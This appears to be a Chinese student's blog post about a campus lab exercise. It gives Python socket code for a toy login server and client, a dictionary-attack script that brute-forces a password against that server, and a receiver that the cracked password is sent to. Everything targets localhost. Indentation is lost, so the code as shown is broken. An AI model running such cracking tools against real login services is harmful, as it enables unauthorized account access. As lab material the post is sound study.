必须吐槽一下,校内实习真的服,都不知道这些老师那里搜的题,这也就算了,不能读一遍看看能不能读的通顺,看着这种读不通的题做都不想做
先写一个系统,实现客户端远程登录服务端:
服务端代码:
import socket,os
#创建套接字
s=socket.socket()
#设置关闭套接字时立刻释放端口
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
#绑定服务端端口
s.bind(('',1234))
#开始监听
s.listen(1)
#账号和密码
user={"admin":"123456","user":"1234567","guest":"123456"}
#接收连接的客户端的信息
sock,addr=s.accept()
print(addr[0]+"已连接")
while 1:
#接收客户端发送的信息
receive=sock.recv(1024).decode()
receive=receive.split()
#判断账号密码是否正确,正确发送T,错误发送F
if user[receive[0]]==receive[1]:
sock.send("T".encode())
break
else:
sock.send("F".encode())
sock.close()
s.close()
os.system("pause")
客户端代码:
import socket,os
c=socket.socket()
#连接服务端,服务端ip地址:127.0.0.1,端口:1234
c.connect(('127.0.0.1',1234))
while 1:
uspw=input("输入账号和密码,空格隔开:")
#发送账号密码给服务端
c.send(uspw.encode())
#接收服务端返回信息
receive=c.recv(1).decode()
if receive=="T":
print("登录成功")
break
c.close()
os.system("pause")
然后是实现在服务器端所在设备进行字典破解,并发送到客户端所在设备的密码接收端:
字典破解代码:
import socket,os
p=socket.socket()
p.connect(('127.0.0.1',1234))
us=input("输入要破解的用户名:")
file=input("输入字典文件名:")
#只读方式打开字典文件
dic=open(file,'r')
while 1:
#读取一行
pasd=dic.readline()
#拼接用户名和密码
sed=us+' '+pasd
#发送给服务端
p.send(sed.encode())
rec=p.recv(1).decode()
#服务端返回T说明密码正确
if rec=="T":
print("密码是:",pasd)
break
p.close()
#发送给密码接收器
p=socket.socket()
p.connect(('127.0.0.1',6666))
pasd="密码是:"+pasd
p.send(pasd.encode())
p.close()
os.system("pause")
密码接收端代码:
import socket,os
p=socket.socket()
p.bind(('',6666))
p.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
p.listen(1)
pr,ip=p.accept()
print("正在接收密码...")
passwd=pr.recv(1024).decode()
#接收破解器发送的信息
print(passwd)
p.close()
os.system("pause")
在服务器运行服务端和字典破解程序,客户端运行密码接收器,获取破解的密码后用客户端登录
运行结果:
(1)
(2)
(3)